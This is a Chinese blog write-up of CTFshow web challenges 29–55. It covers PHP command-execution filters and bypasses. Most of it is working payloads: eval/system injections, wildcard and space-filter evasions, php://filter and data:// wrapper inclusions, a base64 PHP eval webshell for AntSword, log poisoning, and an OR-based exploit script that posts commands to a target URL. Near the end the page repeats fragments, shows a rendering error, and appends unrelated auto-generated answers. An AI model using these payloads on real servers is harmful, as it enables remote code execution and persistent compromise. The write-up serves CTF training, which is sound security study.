CTFshow刷题日记-WEB-命令执行上29-55

53 篇文章 25 订阅

类型一:

变量c来接受并过滤传入的数据,eval函数来执行

web29

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了flag,使用*号,通配符绕过即可

/?c=system("cat%20fla*");

hint:

echo `nl fl''ag.ph''p`;

nl命令:nl命令在linux系统中用来计算文件中行号。nl 可以将输出的文件内容自动的加上行号

看了y4的博客发现更多骚操作

1.通配符fla?绕过flag检测
2.c=echo `nl fl\ag.php`;//转义字符绕过
3.通过变量赋值直接绕过c的过滤 c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php
4.c=eval($_GET[1]);&1=system('nl flag.php');

5.linux命令
    c=awk '{printf $0}' flag.php||这个方法没试成功

web30

    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }

system可以用 ` 反引号来代替去执行命令

/?c=echo%20`nl%20fla*`;

查看源码,拿到flag

当然也有其他的函数可以代替system

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引号 同shell_exec() 

可以读取文件的函数

readfile()			读取文件
highlight_file()	读文件
show_source()		同上
base64_decode()		base64解码
strrev()			反转字符串

web31

    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }

代替cat的命令

more:	一页一页的显示档案内容
less:	与 more 类似 head:查看头几行
tac:	从最后一行开始显示,可以看出 tac 是cat 的反向显示
tail:	查看尾几行
nl:		显示内容,顺便输出行号
od:		以二进制的方式读取档案内容
vi:		一种编辑器,这个也可以查看
vim:	一种编辑器,这个也可以查看
sort:	文件排序并输出也可以查看内容
uniq:	可以查看 file -f:报错出具体内容 grep
strings: 在对象文件或二进制文件中查找可打印的字符串, 在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file strings
paste	把每个文件以列对列的方式,一列列地加以合并
grep	grep { flag.php打印有”{“的一行
sed		一种编辑器,可以用sed -f flag.php读取flag

linux绕过空格

cat%09flag
{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
ca\t fl\ag
多试试

payload:

c=echo(`tac%09fl*`);
c=eval($_GET[1]);&1=system('nl flag.php');
// bug级别存在,也可以用伪协议读文件
c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
//查看当前目录下的文件,反向找到flag.php,高亮显示
c=show_source(next(array_reverse(scandir(pos(localeconv())))));
c=echo(`nl%09fl[abc]*`); //通配符
c="\x73\x79\x73\x74\x65\x6d"("nl%09fl[a]*"); //等价于system()
c=echo`strings%09f*`;
c=echo`strings\$IFS\$9f*`必须加转义字符

web32

preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)

include可以不用括号,分号用?>代替

payload:利用伪协议

1.c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=index.php
2.c=include$_GET[1]?>&1=data://text/plain,<?php system("cat flag.php");?> 
//f12查看源码可以看到flag
3.c=include$_GET[1]?>&1=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg== 
//和第二种方法伪协议一致,多加了一层base64
4.c=include$_GET[1]?>&1=各种伪协议

web33

多过滤了双引号,然而我们的payload并没有出现",可以用32的payload

c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web34

增加了过滤冒号

preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)

可以用32的payload

web35

多过滤了左括号和等于号

preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)

可以用32的payload

web36

多过滤了 / 数字

preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)

c=include$_GET[1]?>中没有被过滤的字符,所以可以用32的payload

类型二:

变量c接收并过滤传入的数据,include来包含文件

web37

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    }

$c没有执行, 而是包含文件

payload:

利用data伪协议去包含文件

data伪协议的格式
data://text/plain;base64,
data:资源类型(MIME类型);编码,内容
    
1.c=data://text/plain,<?php system("cat fla*");?>
读flag
2.c=data:,<?php @eval($_POST['shell']); ?>
可以直接用蚁剑连接
3.c=data:text/base64,PD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTsgPz4=
data类型扩展
data:,<文本数据>
data:text/plain,<文本数据>
data:text/html,<HTML代码>
data:text/html;base64,<base64编码的HTML代码>
data:text/css,<CSS代码>
data:text/css;base64,<base64编码的CSS代码>
data:text/javascript,<Javascript代码>
data:text/javascript;base64,<base64编码的Javascript代码>
data:image/gif;base64,base64编码的gif图片数据
data:image/png;base64,base64编码的png图片数据
data:image/jpeg;base64,base64编码的jpeg图片数据
data:image/x-icon;base64,base64编码的icon图片数据

既然是文件包含也就有文件包含的做法了

去读取日志文件

c=/var/log/nginx/access.log 

在ua头里放入php文件, 文件包含可以将任意后缀名文件作为php文件执行

web38

上题基础上增加过滤了php和file, 这个时候data协议可以base编码的优势就显示出来了

c=data:text/base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhKiIpOw==

需要f12看源码

web39

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }

过滤flag, 但是文件包含处拼接了.php

这个时候data伪协议处了编码的还是可以使用

payload

c=data://text/plain,<?php system("cat fla*");?>

image-20210903153650645

data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么作用

web40

属于类型一

image-20210903160508811

发现过滤了中文右括号,:,数字等

过滤了冒号伪协议不能用了, 但是没有过滤分号和英文括号

payload:

1.c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));

2.c=show_source(next(array_reverse(scandir(pos(localeconv())))));

web41

属于类型一

过滤:

if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }

这个题过滤了$、+、-、^、~使得异或自增和取反构造字符都无法使用,同时过滤了字母和数字。但是特意留了个或运算符|
我们可以尝试从ascii为0-255的字符中,找到或运算能得到我们可用的字符的字符。
这里先给出两个脚本 exp.py rce_or.php,大家以后碰到可以使用或运算绕过的可以自己手动修改下即可。
生成可用字符的集合

<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 

		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					echo "";
    }
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)|urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);

大体意思就是从进行异或的字符中排除掉被过滤的,然后在判断异或得到的字符是否为可见字符
传递参数getflag
用法 python exp.py <url>

 # -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php")  #没有将php写入环境变量需手动运行
if(len(argv)!=2):
    print("="*50)
    print('USER:python exp.py <url>')
    print("eg:  python exp.py http://ctf.show/")
    print("="*50)
    exit(0)
url=argv[1]
def action(arg):
    s1=""
    s2=""
    for i in arg:
        f=open("rce_or.txt","r")
        while True:
            t=f.readline()
            if t=="":
                break
            if t[0]==i:
                #print(i)
                s1+=t[2:5]
                s2+=t[6:9]
                break
        f.close()
    output="(\""+s1+"\"|\""+s2+"\")"
    return(output)
    
while True:
    param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
    data={
        'c':urllib.parse.unquote(param)
        }
    r=requests.post(url,data=data)
    print("\n[*] result:\n"+r.text)

类型三:

接受并过滤传入的变量拼接命令执行(system函数)

web42

if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

分隔符变量拼接可以用分隔符来控制后面语句的执行

比如: 分隔符

  • ; 分号顺序执行
  • && 顺序执行
  • || 前边执行成功则不再执行
  • 换行符(在url中是%0a)
  • & (在url中是%26)

payload

c=cat flag.php%26
上边的分隔符都可以

查看源代码

web43

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }

比上题多过滤了cat和分号,替换下就行了

?c=tac flag.php%0a

查看源代码

web44

过滤:

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }

payload:

?c=tac fla*%0a
?c=ca''t fla*%0a

web45

过滤

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }

比上题多了绕过空格

?c=ca''t%09fla*%0a
?c=nl%09fla\g.php%0a

替换空格

%09,%20,$IFS、${IFS}、$IFS$9,{tac,*},<,<>
不行就换

web46

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }

payload

c=nl%09fla""g.php%0a
c=tac%09fl[a-z]g.php||
....
%09只是url编码问题,并不能被过滤

web47

过滤

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }

payload

c=nl<fla''g.php||
c=nl<fla''g.php%0a
c=nl%26fla''g.php||
c=tac<fla''g.php||
.......

web48

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }

发现比上题多过滤了几个命令,其实没有影响

?c=tac%09fla''g.php||
。。。

web49

preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i")

多过滤了%号,原来的%09替换空格和%0a替换分号都不能用了

payload:

?c=tac<fla""g.php||
.....

web50

preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)

也就是%09和%26(&符号)不能用了

和上题的payload一样

?c=tac<fla''g.php||
命令还有
nl
空格绕过还可以用
<> ,{tac,*}
分割符绕过还可以用

web51

preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)

tac终于被过滤了

c=ta''c<>fla''g.php||
命令和flag依然可以用单引号和双引号拼接绕过正则

web52

preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)

<>尖括号被过滤了但是$没过滤

payload

c=nl$IFS\fla\g.php||
c=nl$IFS\fla?.php||

web53

preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)

多了wget,不过没影响

web53

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
}

不需要使用命令分隔符

payload

?c=ca''t$IFS\fla\g.php
?c=nl$IFS\fla?.php
?c''at${IFS}fla''g.p''hp
......

web54

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}

相当于之前ca’'t这种的失效了

tips: /bin下存放一些普通的基本命令

image-20210903210548668

可以使用通配符去调用命令

payload

?c=/bin/?at${IFS}f???????
?c=/bin/??t$IFS????????

linux find * 和 *? 的区别

普通正则表达式里面 * 的含义是匹配0 or 1 个字符

linux find默认使用的正则语法是基于emac实现的,Emacs语法里面 * 表示1个或者多个,其实等同于 .* 的用法,即贪婪匹配

web55

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }

不能出现英文字符

?c=/???/????64 ????????
但是这个不是通用的,base64不是每个机器都用

image-20210903211711934

第二种方法在下一篇文章中介绍
|.*s.*c.p.|.*r.m.|`|%|\x09|\x26|>|</i", KaTeX parse error: Expected '}', got 'EOF' at end of input: … system(c);
}
}


相当于之前ca''t这种的失效了

tips: /bin下存放一些普通的基本命令

[外链图片转存中...(img-45zhXmme-1630677985784)]

可以使用通配符去调用命令

payload

```url
?c=/bin/?at${IFS}f???????
?c=/bin/??t$IFS????????

linux find * 和 *? 的区别

普通正则表达式里面 * 的含义是匹配0 or 1 个字符

linux find默认使用的正则语法是基于emac实现的,Emacs语法里面 * 表示1个或者多个,其实等同于 .* 的用法,即贪婪匹配

web55

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }

不能出现英文字符

?c=/???/????64 ????????
但是这个不是通用的,base64不是每个机器都用

[外链图片转存中…(img-ADbQatQA-1630677985786)]

第二种方法在下一篇文章中介绍

  • 13
    点赞
  • 40
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 3
    评论
### 回答1: ctfshow-web-web红包题是一道CTF比赛中的网络安全题目。这道题目的背景是一个在线购物网站,要求我们通过安全漏洞来获得网站的红包。 首先,我们可以检查网站的源代码,寻找可能存在的漏洞。在网站的前端页面中,我们注意到了一个提交订单的功能,并且发现了其中一个参数可以被用户任意修改。这可能导致一个被称为SQL注入的漏洞。 我们试图通过在参数中插入恶意代码来进行SQL注入攻击。我们发现当我们输入`' or 1=1 -- `时,查询结果会返回所有订单记录,而不仅仅是当前用户的订单。这表明成功利用了SQL注入漏洞。 接下来,我们要尝试进一步利用这个漏洞来获取网站的红包。我们可以通过构建特制的SQL语句来绕过登录过程,直接获取红包的信息。 最终,我们成功地利用了网站存在的漏洞,获取到了红包的相关信息。这个过程展示了在网络安全竞赛中,如何通过分析代码和利用漏洞来实现攻击的目标。 在这个过程中,我们需要具备对SQL注入漏洞的理解和掌握,并且需要有一定的编程和网络安全知识。通过解决这样的题目,我们可以提高我们对网络安全攻防的认识和技能,以更好地保护网络安全。 ### 回答2: ctfshow-web-web红包题是一个CTF(Capture the Flag)比赛中的Web题目,目标是通过分析Web应用程序的漏洞来获取红包。CTF比赛是一种网络安全竞赛,在这种比赛中,参赛者需要通过解决各种不同类型的安全挑战来积分。 该题目中的Web应用程序可能存在一些漏洞,我们需要通过分析源代码、网络请求和服务器响应等信息来找到红包的位置和获取红包的方法。 首先,我们可以查看网页源代码,寻找可能的注入点、敏感信息或其他漏洞。同时,我们还可以使用开发者工具中的网络分析功能来查看浏览器和服务器之间的通信内容,找到可能存在的漏洞、密钥或其他敏感信息。 其次,我们可以进行输入测试,尝试不同的输入来检查是否存在注入漏洞、文件包含漏洞、路径遍历漏洞等。通过测试和观察响应结果,我们可以得到一些重要的信息和线索。 最后,我们可以分析服务器响应和错误信息,查找可能存在的网站配置错误、逻辑漏洞或其它任何可以利用的安全问题。此外,我们还可以使用常见的Web漏洞扫描工具,如Burp Suite、OWASP ZAP等,来辅助我们发现潜在的漏洞。 通过以上的分析和测试,我们有可能找到获取红包的方法。然而,具体的解题方法还需要根据题目中的具体情况来确定。在CTF比赛中,每个题目的设置都可能不同,解题的方法和思路也会有所差异。因此,在解题过程中,要保持敏锐的观察力和灵活的思维,尝试不同的方法和技巧,才能成功获取红包并完成任务。 ### 回答3: ctfshow-web-web红包题是一个CTF比赛中的网络题目,其目标是寻找并利用网页内的漏洞,获取红包。 首先,我们需要分析该网页的源代码,寻找可能存在的漏洞。可以通过审查元素、浏览器开发者工具等方式进行源代码分析。 其中,可能存在的漏洞包括但不限于: 1. 文件路径遍历漏洞:通过对URL的参数进行修改,尝试访问其他目录中的文件。 2. XSS漏洞:通过在用户输入的地方注入恶意代码,实现攻击者想要的操作。 3. SQL注入漏洞:通过修改数据库查询参数,获取未授权的数据。 4. 文件上传漏洞:上传恶意文件并执行。 一旦发现漏洞,我们需要进一步利用它们来获取红包。例如,如果存在文件路径遍历漏洞,我们可以尝试通过修改URL参数的方式,访问网站服务器上存放红包的文件目录,获取目录中的文件。 如果存在XSS漏洞,我们可以尝试在用户输入的地方注入一段JavaScript代码,以获取网页中的敏感信息或执行一些恶意操作,如窃取cookies。 如果存在SQL注入漏洞,我们可以尝试通过修改数据库查询参数,获取未授权的数据,如红包的具体位置或密码。 如果存在文件上传漏洞,我们可以尝试上传一个特殊设计的恶意文件,以执行任意命令或获取服务器上的文件。 综上所述,ctfshow-web-web红包题需要我们深入分析网页代码,发现可能存在的漏洞,并利用这些漏洞获取红包。这个过程需要我们对常见的漏洞类型有一定的了解,并具备相关的漏洞利用技术。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

OceanSec

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值